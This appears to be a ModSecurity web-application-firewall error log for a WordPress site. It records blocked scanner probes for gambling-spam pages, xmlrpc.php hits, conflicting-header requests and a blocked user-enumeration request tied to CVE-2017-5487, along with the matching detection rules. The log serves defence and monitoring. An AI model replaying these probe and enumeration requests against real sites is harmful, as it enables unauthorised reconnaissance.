[Sun Feb 01 23:31:14.782200 2026] [:error] [pid 29578:tid 29600] [client 91.65.123.43:34016] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "aX9xwkwa4IUBrS8Q04HRdgAAAZI"]
[Sun Feb 01 23:31:16.968114 2026] [:error] [pid 2033:tid 2044] [client 91.65.123.43:4228] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet.aspx"] [unique_id "aX9xxPF7B4oR5nK3T_M17AAAAQk"]
[Sun Feb 01 23:31:19.121239 2026] [:error] [pid 10616:tid 10630] [client 91.65.123.43:18406] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot168%20wallet.aspx"] [unique_id "aX9xx2d8pZdmVx6pUp4TGwAAAMo"]
[Sun Feb 01 23:31:21.327857 2026] [:error] [pid 10506:tid 10529] [client 91.65.123.43:22810] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20168.aspx"] [unique_id "aX9xya32IC2Db4uwFyPSBQAAAA0"]
[Sun Feb 01 23:31:23.514074 2026] [:error] [pid 10509:tid 10584] [client 91.65.123.43:11557] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20sa.aspx"] [unique_id "aX9xy1MNpJBihOJgwVsn1AAAAI0"]
[Sun Feb 01 23:31:25.689141 2026] [:error] [pid 10616:tid 10624] [client 91.65.123.43:21601] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20slot.aspx"] [unique_id "aX9xzWd8pZdmVx6pUp4TIAAAAMQ"]
[Sun Feb 01 23:31:27.839794 2026] [:error] [pid 41454:tid 41462] [client 91.65.123.43:63940] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "aX9xz4SGhfKfZM9FAk3EagAAAcY"]
[Sun Feb 01 23:31:30.020365 2026] [:error] [pid 29578:tid 29592] [client 91.65.123.43:8736] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20wallet.aspx"] [unique_id "aX9x0kwa4IUBrS8Q04HRgQAAAYo"]
[Sun Feb 01 23:31:32.194049 2026] [:error] [pid 29578:tid 29605] [client 91.65.123.43:18754] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20100.aspx"] [unique_id "aX9x1Ewa4IUBrS8Q04HRgwAAAZc"]
[Sun Feb 01 23:31:34.220159 2026] [:error] [pid 10509:tid 10575] [client 91.65.123.43:30414] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "aX9x1lMNpJBihOJgwVsn4QAAAIQ"]
[Sun Feb 01 23:31:36.378772 2026] [:error] [pid 10509:tid 10592] [client 91.65.123.43:28006] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20auto.aspx"] [unique_id "aX9x2FMNpJBihOJgwVsn5QAAAJU"]
[Sun Feb 01 23:31:38.436219 2026] [:error] [pid 10616:tid 10621] [client 91.65.123.43:22260] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20net.aspx"] [unique_id "aX9x2md8pZdmVx6pUp4TJQAAAME"]
[Sun Feb 01 23:31:40.421871 2026] [:error] [pid 10508:tid 10553] [client 91.65.123.43:26759] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "aX9x3AFwdoMQv5EWp9uJAQAAAEk"]
[Sun Feb 01 23:31:42.601834 2026] [:error] [pid 10508:tid 10555] [client 91.65.123.43:44653] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20wallet.aspx"] [unique_id "aX9x3gFwdoMQv5EWp9uJAgAAAEs"]
[Sun Feb 01 23:31:44.639058 2026] [:error] [pid 2033:tid 2046] [client 91.65.123.43:39244] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/w69%20slot.aspx"] [unique_id "aX9x4PF7B4oR5nK3T_M2AQAAAQs"]
[Sun Feb 01 23:31:46.655020 2026] [:error] [pid 10508:tid 10556] [client 91.65.123.43:60289] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wallet%20slot.aspx"] [unique_id "aX9x4gFwdoMQv5EWp9uJBwAAAEw"]
[Sun Feb 01 23:31:48.826242 2026] [:error] [pid 29578:tid 29602] [client 91.65.123.43:1715] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/we88%20slot.aspx"] [unique_id "aX9x5Ewa4IUBrS8Q04HRjwAAAZQ"]
[Sun Feb 01 23:31:50.854201 2026] [:error] [pid 29578:tid 29595] [client 91.65.123.43:38237] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xo%20slot.aspx"] [unique_id "aX9x5kwa4IUBrS8Q04HRlAAAAY0"]
[Sun Feb 01 23:31:52.843486 2026] [:error] [pid 10509:tid 10572] [client 91.65.123.43:34842] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/yakuza%20slot.aspx"] [unique_id "aX9x6FMNpJBihOJgwVsn-wAAAIE"]
[Mon Feb 02 00:07:46.379854 2026] [:error] [pid 2033:tid 2056] [client 198.46.253.39:42808] [client 198.46.253.39] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 198.46.253.39, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aX96UvF7B4oR5nK3T_M8wQAAARM"]
[Mon Feb 02 00:08:03.174243 2026] [:error] [pid 10509:tid 10585] [client 163.47.203.79:41192] [client 163.47.203.79] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 163.47.203.79, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aX96Y1MNpJBihOJgwVsyFQAAAI4"]
[Mon Feb 02 00:08:04.429920 2026] [:error] [pid 8965:tid 8987] [client 47.88.48.42:51756] [client 47.88.48.42] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 47.88.48.42, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aX96ZONHEHhgRhn3G7RLkwAAAxM"]
[Mon Feb 02 00:08:12.256234 2026] [:error] [pid 29578:tid 29590] [client 188.34.181.211:45758] [client 188.34.181.211] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 188.34.181.211, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aX96bEwa4IUBrS8Q04HYoAAAAYg"]
[Mon Feb 02 00:08:23.028629 2026] [:error] [pid 8965:tid 8982] [client 198.46.253.39:36052] [client 198.46.253.39] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 198.46.253.39, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aX96d-NHEHhgRhn3G7RLpgAAAw4"]
[Mon Feb 02 01:27:25.384908 2026] [:error] [pid 2033:tid 2060] [client 49.51.38.193:33182] [client 49.51.38.193] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aX-M_fF7B4oR5nK3T_NMlwAAARU"]
[Mon Feb 02 02:16:24.724627 2026] [:error] [pid 10509:tid 10587] [client 137.184.64.22:40736] [client 137.184.64.22] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 137.184.64.22, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aX-YeFMNpJBihOJgwVtIhgAAAJA"]
[Mon Feb 02 02:19:12.725683 2026] [:error] [pid 29578:tid 29605] [client 65.108.125.120:60612] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%201668.aspx"] [unique_id "aX-ZIEwa4IUBrS8Q04EBRwAAAZc"]
[Mon Feb 02 02:19:14.919299 2026] [:error] [pid 10616:tid 10625] [client 65.108.125.120:60638] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%207777.aspx"] [unique_id "aX-ZImd8pZdmVx6pUp45DQAAAMU"]
[Mon Feb 02 02:19:17.015714 2026] [:error] [pid 8781:tid 8823] [client 65.108.125.120:60652] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/www%20ufabet%20com.aspx"] [unique_id "aX-ZJS8oB7b2tIX_lkWIbgAAAos"]
[Mon Feb 02 02:19:18.636830 2026] [:error] [pid 8752:tid 8760] [client 65.108.125.120:60272] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/robots.txt"] [unique_id "aX-ZJkFFilE3DptZFco9wAAAAgY"]
[Mon Feb 02 02:19:22.673979 2026] [:error] [pid 10509:tid 10584] [client 65.108.125.120:60288] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/robots.txt"] [unique_id "aX-ZKlMNpJBihOJgwVtJIAAAAI0"]
[Mon Feb 02 04:08:16.766474 2026] [:error] [pid 63153:tid 63171] [client 64.225.60.178:52414] [client 64.225.60.178] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 64.225.60.178, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aX-ysHC9GXHnmLkdgdmSNgAAAMo"]
[Mon Feb 02 04:08:18.502235 2026] [:error] [pid 63032:tid 63066] [client 35.242.213.155:57032] [client 35.242.213.155] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.242.213.155, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aX-ysnyEQ1PkpebvdRgAkAAAAAM"]
[Mon Feb 02 04:08:22.697466 2026] [:error] [pid 63153:tid 63171] [client 15.204.132.37:35470] [client 15.204.132.37] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 15.204.132.37, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aX-ytnC9GXHnmLkdgdmSRwAAAMo"]
[Mon Feb 02 04:08:27.026142 2026] [:error] [pid 63153:tid 63173] [client 116.202.134.139:50538] [client 116.202.134.139] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 116.202.134.139, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aX-yu3C9GXHnmLkdgdmSVQAAAMw"]
[Mon Feb 02 04:08:31.592062 2026] [:error] [pid 63153:tid 63182] [client 103.143.231.246:54590] [client 103.143.231.246] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.143.231.246, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aX-yv3C9GXHnmLkdgdmSYgAAANU"]
[Mon Feb 02 04:44:38.755801 2026] [:error] [pid 63033:tid 63091] [client 103.56.161.36:56764] [client 103.56.161.36] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.56.161.36, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aX-7NveMX2QyIh3K16oUPQAAAEA"]
[Mon Feb 02 04:47:38.655054 2026] [:error] [pid 63032:tid 63078] [client 45.92.229.231:32451] [client 45.92.229.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aX-76nyEQ1PkpebvdRgOkQAAAA8"]
[Mon Feb 02 04:47:39.886235 2026] [:error] [pid 33612:tid 33621] [client 45.92.229.235:27147] [client 45.92.229.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/wlwmanifest.xml"] [unique_id "aX-768tFn80qQEmo5Qon5wAAAQc"]
[Mon Feb 02 05:31:05.083768 2026] [:error] [pid 46008:tid 46024] [client 185.165.29.95:35638] [client 185.165.29.95] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.165.29.95, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aX_GGSRa52iYn7SlSMncNQAAAU0"]
[Mon Feb 02 06:59:04.659792 2026] [:error] [pid 63153:tid 63183] [client 182.43.70.143:59799] [client 182.43.70.143] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aX_auHC9GXHnmLkdgdnLigAAANY"]
[Mon Feb 02 07:15:48.483049 2026] [:error] [pid 63034:tid 63130] [client 191.177.191.213:11710] [client 191.177.191.213] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 191.177.191.213, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aX_epOKXlgw75_wfbHo1ywAAAIw"]
[Mon Feb 02 07:23:47.318070 2026] [:error] [pid 63033:tid 63109] [client 191.177.191.213:11418] [client 191.177.191.213] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "aX_gg_eMX2QyIh3K16o-OAAAAFI"]
[Mon Feb 02 07:25:21.022607 2026] [:error] [pid 63153:tid 63172] [client 191.177.191.213:11530] [client 191.177.191.213] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 191.177.191.213, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aX_g4XC9GXHnmLkdgdnV8gAAAMs"]
[Mon Feb 02 07:26:45.638212 2026] [:error] [pid 8507:tid 8524] [client 191.177.191.213:11371] [client 191.177.191.213] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 191.177.191.213, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aX_hNdk9kluqaCHoCymIyAAAAc8"]
[Mon Feb 02 07:27:17.860967 2026] [:error] [pid 46008:tid 46010] [client 163.47.203.79:35566] [client 163.47.203.79] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 163.47.203.79, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aX_hVSRa52iYn7SlSMn5FAAAAUA"]
[Mon Feb 02 07:27:22.615747 2026] [:error] [pid 46008:tid 46010] [client 34.118.151.155:58512] [client 34.118.151.155] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.118.151.155, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aX_hWiRa52iYn7SlSMn5KAAAAUA"]
[Mon Feb 02 07:27:26.352517 2026] [:error] [pid 63033:tid 63097] [client 203.162.234.20:49870] [client 203.162.234.20] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 203.162.234.20, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aX_hXveMX2QyIh3K16o_jQAAAEY"]
[Mon Feb 02 07:27:55.956118 2026] [:error] [pid 63034:tid 63118] [client 198.54.114.14:55610] [client 198.54.114.14] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 198.54.114.14, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aX_he-KXlgw75_wfbHo4CQAAAIA"]
[Mon Feb 02 07:28:00.873495 2026] [:error] [pid 46008:tid 46024] [client 173.236.109.194:55905] [client 173.236.109.194] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 173.236.109.194, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aX_hgCRa52iYn7SlSMn5TwAAAU0"]
[Mon Feb 02 07:28:04.851054 2026] [:error] [pid 63153:tid 63182] [client 191.177.191.213:11498] [client 191.177.191.213] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 191.177.191.213, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aX_hhHC9GXHnmLkdgdnXLgAAANU"]
[Mon Feb 02 07:29:23.995688 2026] [:error] [pid 33612:tid 33632] [client 191.177.191.213:11280] [client 191.177.191.213] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 191.177.191.213, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aX_h08tFn80qQEmo5QpfiQAAARI"]
[Mon Feb 02 07:30:52.736878 2026] [:error] [pid 63153:tid 63170] [client 157.173.110.68:36286] [client 157.173.110.68] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 157.173.110.68, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aX_iLHC9GXHnmLkdgdnYYQAAAMk"]
[Mon Feb 02 07:38:55.197505 2026] [:error] [pid 63032:tid 63086] [client 59.125.102.227:43858] [client 59.125.102.227] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 59.125.102.227, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aX_kD3yEQ1PkpebvdRg1KAAAABc"]
[Mon Feb 02 08:11:35.732798 2026] [:error] [pid 63033:tid 63104] [client 15.235.163.7:43290] [client 15.235.163.7] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 15.235.163.7, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aX_rt_eMX2QyIh3K16pN2QAAAE0"]
